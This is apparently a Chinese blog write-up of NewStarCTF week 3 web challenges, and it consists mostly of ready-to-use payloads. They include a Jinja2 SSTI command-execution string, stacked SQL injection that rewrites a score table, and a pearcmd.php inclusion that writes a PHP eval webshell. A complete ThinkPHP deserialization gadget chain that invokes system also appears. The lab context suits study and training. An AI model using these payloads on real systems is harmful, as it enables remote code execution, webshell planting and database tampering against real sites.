NewStarCTF 公开赛赛道week3 web writeup

BabySSTI_One

只有一点点过滤
直接附上payload:
name={{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('tac /*').read()")}}

multiSQL

题目名字可以看出来,多SQL,堆叠注入
过滤了select 可以用show
列出库、表、字段、
发现没找到flag
而刚进入的页面是有一个可点击的页面进去看下verify.php
里面完全的没有验证,而且应该是一个简单的判断,判断成绩是否达到了425分,那么应该是使用update更新数据库信息,让火华师傅的成绩大于425即可
这里提供两种方法,一种是用replace into替换掉update,也可以使用预编译的方式
方法一:


username=1';replace into score values("火华",999,999,999);#

111';delete from score where listen=11;%23 username=1';HANDLER score OPEN;HANDLER score READ FIRST;HANDLER score CLOSE;%23

但是点击没用查询火华的成绩时候,出现两个火华,应该是多了直接删除即可
在这里插入图片描述

方法二:

//update score set listen = 100 where username = '火华';
username=1';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031303020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

IncludeTwo

这里利用到了pearcmd.php的知识
离别歌师傅的博客中讲到了这个知识点:Docker PHP裸文件包含
直接用payload:

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1]);?>+/var/www/html/Yan9.php

接着直接访问文件就能RCE(用bp发包,否则这里的符号会被编码)

Maybe You Have To think More

进入题目,一个搜索框提示不是SQL注入
任意输入地址发现:
baocuo
一看就是thinkphp 版本漏洞了
搜索漏洞发现有getshell跟反序列化
这里有一个输入框
确定是反序列化漏洞
直接拉网上的exp打

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["Yan9"=>["hello","world"]];
$this->data = array('Yan9'=>new Request());
}
}
class Request
{
protected $hook = [];
protected $filter;
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根,如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
?>

附上源码下载地址
命令执行之后发现flag在环境变量里面
flag

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值